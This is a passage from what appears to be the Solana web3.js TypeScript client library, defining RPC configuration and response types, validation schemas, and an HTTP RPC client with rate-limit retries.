commitment desired */\n commitment?: Commitment;\n /** The minimum slot that the request can be evaluated at */\n minContextSlot?: number;\n /** Optional data slice to limit the returned account data */\n dataSlice?: DataSlice;\n};\n\n/**\n * Configuration object for changing `getBalance` query behavior\n */\nexport type GetBalanceConfig = {\n /** The level of commitment desired */\n commitment?: Commitment;\n /** The minimum slot that the request can be evaluated at */\n minContextSlot?: number;\n};\n\n/**\n * Configuration object for changing `getBlock` query behavior\n */\nexport type GetBlockConfig = {\n /** The level of finality desired */\n commitment?: Finality;\n /**\n * Whether to populate the rewards array. If parameter not provided, the default includes rewards.\n */\n rewards?: boolean;\n /**\n * Level of transaction detail to return, either \"full\", \"accounts\", \"signatures\", or \"none\". If\n * parameter not provided, the default detail level is \"full\". If \"accounts\" are requested,\n * transaction details only include signatures and an annotated list of accounts in each\n * transaction. Transaction metadata is limited to only: fee, err, pre_balances, post_balances,\n * pre_token_balances, and post_token_balances.\n */\n transactionDetails?: 'accounts' | 'full' | 'none' | 'signatures';\n};\n\n/**\n * Configuration object for changing `getBlock` query behavior\n */\nexport type GetVersionedBlockConfig = {\n /** The level of finality desired */\n commitment?: Finality;\n /** The max transaction version to return in responses. If the requested transaction is a higher version, an error will be returned */\n maxSupportedTransactionVersion?: number;\n /**\n * Whether to populate the rewards array. If parameter not provided, the default includes rewards.\n */\n rewards?: boolean;\n /**\n * Level of transaction detail to return, either \"full\", \"accounts\", \"signatures\", or \"none\". If\n * parameter not provided, the default detail level is \"full\". If \"accounts\" are requested,\n * transaction details only include signatures and an annotated list of accounts in each\n * transaction. Transaction metadata is limited to only: fee, err, pre_balances, post_balances,\n * pre_token_balances, and post_token_balances.\n */\n transactionDetails?: 'accounts' | 'full' | 'none' | 'signatures';\n};\n\n/**\n * Configuration object for changing `getStakeMinimumDelegation` query behavior\n */\nexport type GetStakeMinimumDelegationConfig = {\n /** The level of commitment desired */\n commitment?: Commitment;\n};\n\n/**\n * Configuration object for changing `getBlockHeight` query behavior\n */\nexport type GetBlockHeightConfig = {\n /** The level of commitment desired */\n commitment?: Commitment;\n /** The minimum slot that the request can be evaluated at */\n minContextSlot?: number;\n};\n\n/**\n * Configuration object for changing `getEpochInfo` query behavior\n */\nexport type GetEpochInfoConfig = {\n /** The level of commitment desired */\n commitment?: Commitment;\n /** The minimum slot that the request can be evaluated at */\n minContextSlot?: number;\n};\n\n/**\n * Configuration object for changing `getInflationReward` query behavior\n */\nexport type GetInflationRewardConfig = {\n /** The level of commitment desired */\n commitment?: Commitment;\n /** An epoch for which the reward occurs. If omitted, the previous epoch will be used */\n epoch?: number;\n /** The minimum slot that the request can be evaluated at */\n minContextSlot?: number;\n};\n\n/**\n * Configuration object for changing `getLatestBlockhash` query behavior\n */\nexport type GetLatestBlockhashConfig = {\n /** The level of commitment desired */\n commitment?: Commitment;\n /** The minimum slot that the request can be evaluated at */\n minContextSlot?: number;\n};\n\n/**\n * Configuration object for changing `isBlockhashValid` query behavior\n */\nexport type IsBlockhashValidConfig = {\n /** The level of commitment desired */\n commitment?: Commitment;\n /** The minimum slot that the request can be evaluated at */\n minContextSlot?: number;\n};\n\n/**\n * Configuration object for changing `getSlot` query behavior\n */\nexport type GetSlotConfig = {\n /** The level of commitment desired */\n commitment?: Commitment;\n /** The minimum slot that the request can be evaluated at */\n minContextSlot?: number;\n};\n\n/**\n * Configuration object for changing `getSlotLeader` query behavior\n */\nexport type GetSlotLeaderConfig = {\n /** The level of commitment desired */\n commitment?: Commitment;\n /** The minimum slot that the request can be evaluated at */\n minContextSlot?: number;\n};\n\n/**\n * Configuration object for changing `getTransaction` query behavior\n */\nexport type GetTransactionConfig = {\n /** The level of finality desired */\n commitment?: Finality;\n};\n\n/**\n * Configuration object for changing `getTransaction` query behavior\n */\nexport type GetVersionedTransactionConfig = {\n /** The level of finality desired */\n commitment?: Finality;\n /** The max transaction version to return in responses. If the requested transaction is a higher version, an error will be returned */\n maxSupportedTransactionVersion?: number;\n};\n\n/**\n * Configuration object for changing `getLargestAccounts` query behavior\n */\nexport type GetLargestAccountsConfig = {\n /** The level of commitment desired */\n commitment?: Commitment;\n /** Filter largest accounts by whether they are part of the circulating supply */\n filter?: LargestAccountsFilter;\n};\n\n/**\n * Configuration object for changing `getSupply` request behavior\n */\nexport type GetSupplyConfig = {\n /** The level of commitment desired */\n commitment?: Commitment;\n /** Exclude non circulating accounts list from response */\n excludeNonCirculatingAccountsList?: boolean;\n};\n\n/**\n * Configuration object for changing query behavior\n */\nexport type SignatureStatusConfig = {\n /** enable searching status history, not needed for recent transactions */\n searchTransactionHistory: boolean;\n};\n\n/**\n * Information describing a cluster node\n */\nexport type ContactInfo = {\n /** Identity public key of the node */\n pubkey: string;\n /** Gossip network address for the node */\n gossip: string | null;\n /** TPU network address for the node (null if not available) */\n tpu: string | null;\n /** JSON RPC network address for the node (null if not available) */\n rpc: string | null;\n /** Software version of the node (null if not available) */\n version: string | null;\n};\n\n/**\n * Information describing a vote account\n */\nexport type VoteAccountInfo = {\n /** Public key of the vote account */\n votePubkey: string;\n /** Identity public key of the node voting with this account */\n nodePubkey: string;\n /** The stake, in lamports, delegated to this vote account and activated */\n activatedStake: number;\n /** Whether the vote account is staked for this epoch */\n epochVoteAccount: boolean;\n /** Recent epoch voting credit history for this voter */\n epochCredits: Array<[number, number, number]>;\n /** A percentage (0-100) of rewards payout owed to the voter */\n commission: number;\n /** Most recent slot voted on by this vote account */\n lastVote: number;\n};\n\n/**\n * A collection of cluster vote accounts\n */\nexport type VoteAccountStatus = {\n /** Active vote accounts */\n current: Array<VoteAccountInfo>;\n /** Inactive vote accounts */\n delinquent: Array<VoteAccountInfo>;\n};\n\n/**\n * Network Inflation\n * (see https://docs.solana.com/implemented-proposals/ed_overview)\n */\nexport type InflationGovernor = {\n foundation: number;\n foundationTerm: number;\n initial: number;\n taper: number;\n terminal: number;\n};\n\nconst GetInflationGovernorResult = pick({\n foundation: number(),\n foundationTerm: number(),\n initial: number(),\n taper: number(),\n terminal: number(),\n});\n\n/**\n * The inflation reward for an epoch\n */\nexport type InflationReward = {\n /** epoch for which the reward occurs */\n epoch: number;\n /** the slot in which the rewards are effective */\n effectiveSlot: number;\n /** reward amount in lamports */\n amount: number;\n /** post balance of the account in lamports */\n postBalance: number;\n /** vote account commission when the reward was credited */\n commission?: number | null;\n};\n\n/**\n * Expected JSON RPC response for the \"getInflationReward\" message\n */\nconst GetInflationRewardResult = jsonRpcResult(\n array(\n nullable(\n pick({\n epoch: number(),\n effectiveSlot: number(),\n amount: number(),\n postBalance: number(),\n commission: optional(nullable(number())),\n }),\n ),\n ),\n);\n\nexport type RecentPrioritizationFees = {\n /** slot in which the fee was observed */\n slot: number;\n /** the per-compute-unit fee paid by at least one successfully landed transaction, specified in increments of 0.000001 lamports*/\n prioritizationFee: number;\n};\n\n/**\n * Configuration object for changing `getRecentPrioritizationFees` query behavior\n */\nexport type GetRecentPrioritizationFeesConfig = {\n /**\n * If this parameter is provided, the response will reflect a fee to land a transaction locking\n * all of the provided accounts as writable.\n */\n lockedWritableAccounts?: PublicKey[];\n};\n\n/**\n * Expected JSON RPC response for the \"getRecentPrioritizationFees\" message\n */\nconst GetRecentPrioritizationFeesResult = array(\n pick({\n slot: number(),\n prioritizationFee: number(),\n }),\n);\n\nexport type InflationRate = {\n /** total inflation */\n total: number;\n /** inflation allocated to validators */\n validator: number;\n /** inflation allocated to the foundation */\n foundation: number;\n /** epoch for which these values are valid */\n epoch: number;\n};\n\n/**\n * Expected JSON RPC response for the \"getInflationRate\" message\n */\nconst GetInflationRateResult = pick({\n total: number(),\n validator: number(),\n foundation: number(),\n epoch: number(),\n});\n\n/**\n * Information about the current epoch\n */\nexport type EpochInfo = {\n epoch: number;\n slotIndex: number;\n slotsInEpoch: number;\n absoluteSlot: number;\n blockHeight?: number;\n transactionCount?: number;\n};\n\nconst GetEpochInfoResult = pick({\n epoch: number(),\n slotIndex: number(),\n slotsInEpoch: number(),\n absoluteSlot: number(),\n blockHeight: optional(number()),\n transactionCount: optional(number()),\n});\n\nconst GetEpochScheduleResult = pick({\n slotsPerEpoch: number(),\n leaderScheduleSlotOffset: number(),\n warmup: boolean(),\n firstNormalEpoch: number(),\n firstNormalSlot: number(),\n});\n\n/**\n * Leader schedule\n * (see https://docs.solana.com/terminology#leader-schedule)\n */\nexport type LeaderSchedule = {\n [address: string]: number[];\n};\n\nconst GetLeaderScheduleResult = record(string(), array(number()));\n\n/**\n * Transaction error or null\n */\nconst TransactionErrorResult = nullable(union([pick({}), string()]));\n\n/**\n * Signature status for a transaction\n */\nconst SignatureStatusResult = pick({\n err: TransactionErrorResult,\n});\n\n/**\n * Transaction signature received notification\n */\nconst SignatureReceivedResult = literal('receivedSignature');\n\n/**\n * Version info for a node\n */\nexport type Version = {\n /** Version of solana-core */\n 'solana-core': string;\n 'feature-set'?: number;\n};\n\nconst VersionResult = pick({\n 'solana-core': string(),\n 'feature-set': optional(number()),\n});\n\nexport type SimulatedTransactionAccountInfo = {\n /** `true` if this account's data contains a loaded program */\n executable: boolean;\n /** Identifier of the program that owns the account */\n owner: string;\n /** Number of lamports assigned to the account */\n lamports: number;\n /** Optional data assigned to the account */\n data: string[];\n /** Optional rent epoch info for account */\n rentEpoch?: number;\n};\n\nexport type TransactionReturnDataEncoding = 'base64';\n\nexport type TransactionReturnData = {\n programId: string;\n data: [string, TransactionReturnDataEncoding];\n};\n\nexport type SimulateTransactionConfig = {\n /** Optional parameter used to enable signature verification before simulation */\n sigVerify?: boolean;\n /** Optional parameter used to replace the simulated transaction's recent blockhash with the latest blockhash */\n replaceRecentBlockhash?: boolean;\n /** Optional parameter used to set the commitment level when selecting the latest block */\n commitment?: Commitment;\n /** Optional parameter used to specify a list of base58-encoded account addresses to return post simulation state for */\n accounts?: {\n /** The encoding of the returned account's data */\n encoding: 'base64';\n addresses: string[];\n };\n /** Optional parameter used to specify the minimum block slot that can be used for simulation */\n minContextSlot?: number;\n /** Optional parameter used to include inner instructions in the simulation */\n innerInstructions?: boolean;\n};\n\nexport type SimulatedTransactionResponse = {\n err: TransactionError | string | null;\n logs: Array<string> | null;\n accounts?: (SimulatedTransactionAccountInfo | null)[] | null;\n unitsConsumed?: number;\n returnData?: TransactionReturnData | null;\n innerInstructions?: ParsedInnerInstruction[] | null;\n};\nconst ParsedInstructionStruct = pick({\n program: string(),\n programId: PublicKeyFromString,\n parsed: unknown(),\n});\n\nconst PartiallyDecodedInstructionStruct = pick({\n programId: PublicKeyFromString,\n accounts: array(PublicKeyFromString),\n data: string(),\n});\n\nconst SimulatedTransactionResponseStruct = jsonRpcResultAndContext(\n pick({\n err: nullable(union([pick({}), string()])),\n logs: nullable(array(string())),\n accounts: optional(\n nullable(\n array(\n nullable(\n pick({\n executable: boolean(),\n owner: string(),\n lamports: number(),\n data: array(string()),\n rentEpoch: optional(number()),\n }),\n ),\n ),\n ),\n ),\n unitsConsumed: optional(number()),\n returnData: optional(\n nullable(\n pick({\n programId: string(),\n data: tuple([string(), literal('base64')]),\n }),\n ),\n ),\n innerInstructions: optional(\n nullable(\n array(\n pick({\n index: number(),\n instructions: array(\n union([\n ParsedInstructionStruct,\n PartiallyDecodedInstructionStruct,\n ]),\n ),\n }),\n ),\n ),\n ),\n }),\n);\n\nexport type ParsedInnerInstruction = {\n index: number;\n instructions: (ParsedInstruction | PartiallyDecodedInstruction)[];\n};\n\nexport type TokenBalance = {\n accountIndex: number;\n mint: string;\n owner?: string;\n programId?: string;\n uiTokenAmount: TokenAmount;\n};\n\n/**\n * Metadata for a parsed confirmed transaction on the ledger\n *\n * @deprecated Deprecated since RPC v1.8.0. Please use {@link ParsedTransactionMeta} instead.\n */\nexport type ParsedConfirmedTransactionMeta = ParsedTransactionMeta;\n\n/**\n * Collection of addresses loaded by a transaction using address table lookups\n */\nexport type LoadedAddresses = {\n writable: Array<PublicKey>;\n readonly: Array<PublicKey>;\n};\n\n/**\n * Metadata for a parsed transaction on the ledger\n */\nexport type ParsedTransactionMeta = {\n /** The fee charged for processing the transaction */\n fee: number;\n /** An array of cross program invoked parsed instructions */\n innerInstructions?: ParsedInnerInstruction[] | null;\n /** The balances of the transaction accounts before processing */\n preBalances: Array<number>;\n /** The balances of the transaction accounts after processing */\n postBalances: Array<number>;\n /** An array of program log messages emitted during a transaction */\n logMessages?: Array<string> | null;\n /** The token balances of the transaction accounts before processing */\n preTokenBalances?: Array<TokenBalance> | null;\n /** The token balances of the transaction accounts after processing */\n postTokenBalances?: Array<TokenBalance> | null;\n /** The error result of transaction processing */\n err: TransactionError | null;\n /** The collection of addresses loaded using address lookup tables */\n loadedAddresses?: LoadedAddresses;\n /** The compute units consumed after processing the transaction */\n computeUnitsConsumed?: number;\n};\n\nexport type CompiledInnerInstruction = {\n index: number;\n instructions: CompiledInstruction[];\n};\n\n/**\n * Metadata for a confirmed transaction on the ledger\n */\nexport type ConfirmedTransactionMeta = {\n /** The fee charged for processing the transaction */\n fee: number;\n /** An array of cross program invoked instructions */\n innerInstructions?: CompiledInnerInstruction[] | null;\n /** The balances of the transaction accounts before processing */\n preBalances: Array<number>;\n /** The balances of the transaction accounts after processing */\n postBalances: Array<number>;\n /** An array of program log messages emitted during a transaction */\n logMessages?: Array<string> | null;\n /** The token balances of the transaction accounts before processing */\n preTokenBalances?: Array<TokenBalance> | null;\n /** The token balances of the transaction accounts after processing */\n postTokenBalances?: Array<TokenBalance> | null;\n /** The error result of transaction processing */\n err: TransactionError | null;\n /** The collection of addresses loaded using address lookup tables */\n loadedAddresses?: LoadedAddresses;\n /** The compute units consumed after processing the transaction */\n computeUnitsConsumed?: number;\n};\n\n/**\n * A processed transaction from the RPC API\n */\nexport type TransactionResponse = {\n /** The slot during which the transaction was processed */\n slot: number;\n /** The transaction */\n transaction: {\n /** The transaction message */\n message: Message;\n /** The transaction signatures */\n signatures: string[];\n };\n /** Metadata produced from the transaction */\n meta: ConfirmedTransactionMeta | null;\n /** The unix timestamp of when the transaction was processed */\n blockTime?: number | null;\n};\n\n/**\n * A processed transaction from the RPC API\n */\nexport type VersionedTransactionResponse = {\n /** The slot during which the transaction was processed */\n slot: number;\n /** The transaction */\n transaction: {\n /** The transaction message */\n message: VersionedMessage;\n /** The transaction signatures */\n signatures: string[];\n };\n /** Metadata produced from the transaction */\n meta: ConfirmedTransactionMeta | null;\n /** The unix timestamp of when the transaction was processed */\n blockTime?: number | null;\n /** The transaction version */\n version?: TransactionVersion;\n};\n\n/**\n * A processed transaction message from the RPC API\n */\ntype MessageResponse = {\n accountKeys: string[];\n header: MessageHeader;\n instructions: CompiledInstruction[];\n recentBlockhash: string;\n addressTableLookups?: ParsedAddressTableLookup[];\n};\n\n/**\n * A confirmed transaction on the ledger\n *\n * @deprecated Deprecated since RPC v1.8.0.\n */\nexport type ConfirmedTransaction = {\n /** The slot during which the transaction was processed */\n slot: number;\n /** The details of the transaction */\n transaction: Transaction;\n /** Metadata produced from the transaction */\n meta: ConfirmedTransactionMeta | null;\n /** The unix timestamp of when the transaction was processed */\n blockTime?: number | null;\n};\n\n/**\n * A partially decoded transaction instruction\n */\nexport type PartiallyDecodedInstruction = {\n /** Program id called by this instruction */\n programId: PublicKey;\n /** Public keys of accounts passed to this instruction */\n accounts: Array<PublicKey>;\n /** Raw base-58 instruction data */\n data: string;\n};\n\n/**\n * A parsed transaction message account\n */\nexport type ParsedMessageAccount = {\n /** Public key of the account */\n pubkey: PublicKey;\n /** Indicates if the account signed the transaction */\n signer: boolean;\n /** Indicates if the account is writable for this transaction */\n writable: boolean;\n /** Indicates if the account key came from the transaction or a lookup table */\n source?: 'transaction' | 'lookupTable';\n};\n\n/**\n * A parsed transaction instruction\n */\nexport type ParsedInstruction = {\n /** Name of the program for this instruction */\n program: string;\n /** ID of the program for this instruction */\n programId: PublicKey;\n /** Parsed instruction info */\n parsed: any;\n};\n\n/**\n * A parsed address table lookup\n */\nexport type ParsedAddressTableLookup = {\n /** Address lookup table account key */\n accountKey: PublicKey;\n /** Parsed instruction info */\n writableIndexes: number[];\n /** Parsed instruction info */\n readonlyIndexes: number[];\n};\n\n/**\n * A parsed transaction message\n */\nexport type ParsedMessage = {\n /** Accounts used in the instructions */\n accountKeys: ParsedMessageAccount[];\n /** The atomically executed instructions for the transaction */\n instructions: (ParsedInstruction | PartiallyDecodedInstruction)[];\n /** Recent blockhash */\n recentBlockhash: string;\n /** Address table lookups used to load additional accounts */\n addressTableLookups?: ParsedAddressTableLookup[] | null;\n};\n\n/**\n * A parsed transaction\n */\nexport type ParsedTransaction = {\n /** Signatures for the transaction */\n signatures: Array<string>;\n /** Message of the transaction */\n message: ParsedMessage;\n};\n\n/**\n * A parsed and confirmed transaction on the ledger\n *\n * @deprecated Deprecated since RPC v1.8.0. Please use {@link ParsedTransactionWithMeta} instead.\n */\nexport type ParsedConfirmedTransaction = ParsedTransactionWithMeta;\n\n/**\n * A parsed transaction on the ledger with meta\n */\nexport type ParsedTransactionWithMeta = {\n /** The slot during which the transaction was processed */\n slot: number;\n /** The details of the transaction */\n transaction: ParsedTransaction;\n /** Metadata produced from the transaction */\n meta: ParsedTransactionMeta | null;\n /** The unix timestamp of when the transaction was processed */\n blockTime?: number | null;\n /** The version of the transaction message */\n version?: TransactionVersion;\n};\n\n/**\n * A processed block fetched from the RPC API\n */\nexport type BlockResponse = {\n /** Blockhash of this block */\n blockhash: Blockhash;\n /** Blockhash of this block's parent */\n previousBlockhash: Blockhash;\n /** Slot index of this block's parent */\n parentSlot: number;\n /** Vector of transactions with status meta and original message */\n transactions: Array<{\n /** The transaction */\n transaction: {\n /** The transaction message */\n message: Message;\n /** The transaction signatures */\n signatures: string[];\n };\n /** Metadata produced from the transaction */\n meta: ConfirmedTransactionMeta | null;\n /** The transaction version */\n version?: TransactionVersion;\n }>;\n /** Vector of block rewards */\n rewards?: Array<{\n /** Public key of reward recipient */\n pubkey: string;\n /** Reward value in lamports */\n lamports: number;\n /** Account balance after reward is applied */\n postBalance: number | null;\n /** Type of reward received */\n rewardType: string | null;\n /** Vote account commission when the reward was credited, only present for voting and staking rewards */\n commission?: number | null;\n }>;\n /** The unix timestamp of when the block was processed */\n blockTime: number | null;\n};\n\n/**\n * A processed block fetched from the RPC API where the `transactionDetails` mode is `accounts`\n */\nexport type AccountsModeBlockResponse = VersionedAccountsModeBlockResponse;\n\n/**\n * A processed block fetched from the RPC API where the `transactionDetails` mode is `none`\n */\nexport type NoneModeBlockResponse = VersionedNoneModeBlockResponse;\n\n/**\n * A block with parsed transactions\n */\nexport type ParsedBlockResponse = {\n /** Blockhash of this block */\n blockhash: Blockhash;\n /** Blockhash of this block's parent */\n previousBlockhash: Blockhash;\n /** Slot index of this block's parent */\n parentSlot: number;\n /** Vector of transactions with status meta and original message */\n transactions: Array<{\n /** The details of the transaction */\n transaction: ParsedTransaction;\n /** Metadata produced from the transaction */\n meta: ParsedTransactionMeta | null;\n /** The transaction version */\n version?: TransactionVersion;\n }>;\n /** Vector of block rewards */\n rewards?: Array<{\n /** Public key of reward recipient */\n pubkey: string;\n /** Reward value in lamports */\n lamports: number;\n /** Account balance after reward is applied */\n postBalance: number | null;\n /** Type of reward received */\n rewardType: string | null;\n /** Vote account commission when the reward was credited, only present for voting and staking rewards */\n commission?: number | null;\n }>;\n /** The unix timestamp of when the block was processed */\n blockTime: number | null;\n /** The number of blocks beneath this block */\n blockHeight: number | null;\n};\n\n/**\n * A block with parsed transactions where the `transactionDetails` mode is `accounts`\n */\nexport type ParsedAccountsModeBlockResponse = Omit<\n ParsedBlockResponse,\n 'transactions'\n> & {\n transactions: Array<\n Omit<ParsedBlockResponse['transactions'][number], 'transaction'> & {\n transaction: Pick<\n ParsedBlockResponse['transactions'][number]['transaction'],\n 'signatures'\n > & {\n accountKeys: ParsedMessageAccount[];\n };\n }\n >;\n};\n\n/**\n * A block with parsed transactions where the `transactionDetails` mode is `none`\n */\nexport type ParsedNoneModeBlockResponse = Omit<\n ParsedBlockResponse,\n 'transactions'\n>;\n\n/**\n * A processed block fetched from the RPC API\n */\nexport type VersionedBlockResponse = {\n /** Blockhash of this block */\n blockhash: Blockhash;\n /** Blockhash of this block's parent */\n previousBlockhash: Blockhash;\n /** Slot index of this block's parent */\n parentSlot: number;\n /** Vector of transactions with status meta and original message */\n transactions: Array<{\n /** The transaction */\n transaction: {\n /** The transaction message */\n message: VersionedMessage;\n /** The transaction signatures */\n signatures: string[];\n };\n /** Metadata produced from the transaction */\n meta: ConfirmedTransactionMeta | null;\n /** The transaction version */\n version?: TransactionVersion;\n }>;\n /** Vector of block rewards */\n rewards?: Array<{\n /** Public key of reward recipient */\n pubkey: string;\n /** Reward value in lamports */\n lamports: number;\n /** Account balance after reward is applied */\n postBalance: number | null;\n /** Type of reward received */\n rewardType: string | null;\n /** Vote account commission when the reward was credited, only present for voting and staking rewards */\n commission?: number | null;\n }>;\n /** The unix timestamp of when the block was processed */\n blockTime: number | null;\n};\n\n/**\n * A processed block fetched from the RPC API where the `transactionDetails` mode is `accounts`\n */\nexport type VersionedAccountsModeBlockResponse = Omit<\n VersionedBlockResponse,\n 'transactions'\n> & {\n transactions: Array<\n Omit<VersionedBlockResponse['transactions'][number], 'transaction'> & {\n transaction: Pick<\n VersionedBlockResponse['transactions'][number]['transaction'],\n 'signatures'\n > & {\n accountKeys: ParsedMessageAccount[];\n };\n }\n >;\n};\n\n/**\n * A processed block fetched from the RPC API where the `transactionDetails` mode is `none`\n */\nexport type VersionedNoneModeBlockResponse = Omit<\n VersionedBlockResponse,\n 'transactions'\n>;\n\n/**\n * A confirmed block on the ledger\n *\n * @deprecated Deprecated since RPC v1.8.0.\n */\nexport type ConfirmedBlock = {\n /** Blockhash of this block */\n blockhash: Blockhash;\n /** Blockhash of this block's parent */\n previousBlockhash: Blockhash;\n /** Slot index of this block's parent */\n parentSlot: number;\n /** Vector of transactions and status metas */\n transactions: Array<{\n transaction: Transaction;\n meta: ConfirmedTransactionMeta | null;\n }>;\n /** Vector of block rewards */\n rewards?: Array<{\n pubkey: string;\n lamports: number;\n postBalance: number | null;\n rewardType: string | null;\n commission?: number | null;\n }>;\n /** The unix timestamp of when the block was processed */\n blockTime: number | null;\n};\n\n/**\n * A Block on the ledger with signatures only\n */\nexport type BlockSignatures = {\n /** Blockhash of this block */\n blockhash: Blockhash;\n /** Blockhash of this block's parent */\n previousBlockhash: Blockhash;\n /** Slot index of this block's parent */\n parentSlot: number;\n /** Vector of signatures */\n signatures: Array<string>;\n /** The unix timestamp of when the block was processed */\n blockTime: number | null;\n};\n\n/**\n * recent block production information\n */\nexport type BlockProduction = Readonly<{\n /** a dictionary of validator identities, as base-58 encoded strings. Value is a two element array containing the number of leader slots and the number of blocks produced */\n byIdentity: Readonly<Record<string, ReadonlyArray<number>>>;\n /** Block production slot range */\n range: Readonly<{\n /** first slot of the block production information (inclusive) */\n firstSlot: number;\n /** last slot of block production information (inclusive) */\n lastSlot: number;\n }>;\n}>;\n\nexport type GetBlockProductionConfig = {\n /** Optional commitment level */\n commitment?: Commitment;\n /** Slot range to return block production for. If parameter not provided, defaults to current epoch. */\n range?: {\n /** first slot to return block production information for (inclusive) */\n firstSlot: number;\n /** last slot to return block production information for (inclusive). If parameter not provided, defaults to the highest slot */\n lastSlot?: number;\n };\n /** Only return results for this validator identity (base-58 encoded) */\n identity?: string;\n};\n\n/**\n * Expected JSON RPC response for the \"getBlockProduction\" message\n */\nconst BlockProductionResponseStruct = jsonRpcResultAndContext(\n pick({\n byIdentity: record(string(), array(number())),\n range: pick({\n firstSlot: number(),\n lastSlot: number(),\n }),\n }),\n);\n\n/**\n * A performance sample\n */\nexport type PerfSample = {\n /** Slot number of sample */\n slot: number;\n /** Number of transactions in a sample window */\n numTransactions: number;\n /** Number of slots in a sample window */\n numSlots: number;\n /** Sample window in seconds */\n samplePeriodSecs: number;\n};\n\nfunction createRpcClient(\n url: string,\n httpHeaders?: HttpHeaders,\n customFetch?: FetchFn,\n fetchMiddleware?: FetchMiddleware,\n disableRetryOnRateLimit?: boolean,\n httpAgent?: NodeHttpAgent | NodeHttpsAgent | false,\n): RpcClient {\n const fetch = customFetch ? customFetch : fetchImpl;\n let agent: NodeHttpAgent | NodeHttpsAgent | undefined;\n if (process.env.BROWSER) {\n if (httpAgent != null) {\n console.warn(\n 'You have supplied an `httpAgent` when creating a `Connection` in a browser environment.' +\n 'It has been ignored; `httpAgent` is only used in Node environments.',\n );\n }\n } else {\n if (httpAgent == null) {\n if (process.env.NODE_ENV !== 'test') {\n const agentOptions = {\n // One second fewer than the Solana RPC's keepalive timeout.\n // Read more: https://github.com/solana-labs/solana/issues/27859#issuecomment-1340097889\n freeSocketTimeout: 19000,\n keepAlive: true,\n maxSockets: 25,\n };\n if (url.startsWith('https:')) {\n agent = new HttpsKeepAliveAgent(agentOptions);\n } else {\n agent = new HttpKeepAliveAgent(agentOptions);\n }\n }\n } else {\n if (httpAgent !== false) {\n const isHttps = url.startsWith('https:');\n if (isHttps && !(httpAgent instanceof NodeHttpsAgent)) {\n throw new Error(\n 'The endpoint `' +\n url +\n '` can only be paired with an `https.Agent`. You have, instead, supplied an ' +\n '`http.Agent` through `httpAgent`.',\n );\n } else if (!isHttps && httpAgent instanceof NodeHttpsAgent) {\n throw new Error(\n 'The endpoint `' +\n url +\n '` can only be paired with an `http.Agent`. You have, instead, supplied an ' +\n '`https.Agent` through `httpAgent`.',\n );\n }\n agent = httpAgent;\n }\n }\n }\n\n let fetchWithMiddleware: FetchFn | undefined;\n\n if (fetchMiddleware) {\n fetchWithMiddleware = async (info, init) => {\n const modifiedFetchArgs = await new Promise<Parameters<FetchFn>>(\n (resolve, reject) => {\n try {\n fetchMiddleware(info, init, (modifiedInfo, modifiedInit) =>\n resolve([modifiedInfo, modifiedInit]),\n );\n } catch (error) {\n reject(error);\n }\n },\n );\n return await fetch(...modifiedFetchArgs);\n };\n }\n\n const clientBrowser = new RpcClient(async (request, callback) => {\n const options = {\n method: 'POST',\n body: request,\n agent,\n headers: Object.assign(\n {\n 'Content-Type': 'application/json',\n },\n httpHeaders || {},\n COMMON_HTTP_HEADERS,\n ),\n };\n\n try {\n let too_many_requests_retries = 5;\n let res: Response;\n let waitTime = 500;\n for (;;) {\n if (fetchWithMiddleware) {\n res = await fetchWithMiddleware(url, options);\n } else {\n res = await fetch(url, options);\n }\n\n if (res.status !== 429 /* Too many requests */) {\n break;\n }\n if (disableRetryOnRateLimit === true) {\n break;\n }\n too_many_requests_retries -= 1;\n if (too_many_requests_retries === 0) {\n break;\n }\n console.error(\n `Server responded with ${res.status} ${res.statusText}. Retrying after ${waitTime}ms delay...`,\n );\n await sleep(waitTime);\n waitTime *= 2;\n }\n\n const text = await res.text();\n if (res.ok) {\n callback(null, text);\n } else {\n callback(new Error(`${res.status} ${res.statusText}: ${text}`));\n }\n } catch (err) {\n if (err instanceof Error) callback(err);\n }\n }, {});\n\n return clientBrowser;\n}\n\nfunction createRpcRequest(client: RpcClient): RpcRequest {\n return (method, args) => {\n return new Promise((resolve, reject) => {\n client.request(method, args, (err: any, response: any) => {\n if (err) {\n reject(err);\n return;\n }\n resolve(response);\n });\n });\n };\n}\n\nfunction createRpcBatchRequest(client: RpcClient): RpcBatchRequest {\n return (requests: RpcParams[]) => {\n return new Promise((resolve, reject) => {\n // Do nothing if requests is empty\n if (requests.length === 0) resolve([]);\n\n const batch = requests.map((params: RpcParams) => {\n return client.request(params.methodName, params.args);\n });\n\n client.request(batch, (err: any, response: any) => {\n if (err) {\n reject(err);\n return;\n }\n resolve(response);\n });\n });\n };\n}\n\n/**\n * Expected JSON RPC response for the \"getInflationGovernor\" message\n */\nconst GetInflationGovernorRpcResult = jsonRpcResult(GetInflationGovernorResult);\n\n/**\n * Expected JSON RPC response for the \"getInflationRate\" message\n */\nconst GetInflationRateRpcResult = jsonRpcResult(GetInflationRateResult);\n\n/**\n * Expected JSON RPC response for the \"getRecentPrioritizationFees\" message\n */\nconst GetRecentPrioritizationFeesRpcResult = jsonRpcResult(\n GetRecentPrioritizationFeesResult,\n);\n\n/**\n * Expected JSON RPC response for the \"getEpochInfo\" message\n */\nconst GetEpochInfoRpcResult = jsonRpcResult(GetEpochInfoResult);\n\n/**\n * Expected JSON RPC response for the \"getEpochSchedule\" message\n */\nconst GetEpochScheduleRpcResult = jsonRpcResult(GetEpochScheduleResult);\n\n/**\n * Expected JSON RPC response for the \"getLeaderSchedule\" message\n */\nconst GetLeaderScheduleRpcResult = jsonRpcResult(GetLeaderScheduleResult);\n\n/**\n * Expected JSON RPC response for the \"minimumLedgerSlot\" and \"getFirstAvailableBlock\" messages\n */\nconst SlotRpcResult = jsonRpcResult(number());\n\n/**\n * Supply\n */\nexport type Supply = {\n /** Total supply in lamports */\n total: number;\n /** Circulating supply in lamports */\n circulating: number;\n /** Non-circulating supply in lamports */\n nonCirculating: number;\n /** List of non-circulating account addresses */\n nonCirculatingAccounts: Array<PublicKey>;\n};\n\n/**\n * Expected JSON RPC response for the \"getSupply\" message\n */\nconst GetSupplyRpcResult = jsonRpcResultAndContext(\n pick({\n total: number(),\n circulating: number(),\n nonCirculating: number(),\n nonCirculatingAccounts: array(PublicKeyFromString),\n }),\n);\n\n/**\n * Token amount object which returns a token amount in different formats\n * for various client use cases.\n */\nexport type TokenAmount = {\n /** Raw amount of tokens as string ignoring decimals */\n amount: string;\n /** Number of decimals configured for token's mint */\n decimals: number;\n /** Token amount as float, accounts for decimals */\n uiAmount: number | null;\n /** Token amount as string, accounts for decimals */\n uiAmountString?: string;\n};\n\n/**\n * Expected JSON RPC structure for token amounts\n */\nconst TokenAmountResult = pick({\n amount: string(),\n uiAmount: nullable(number()),\n decimals: 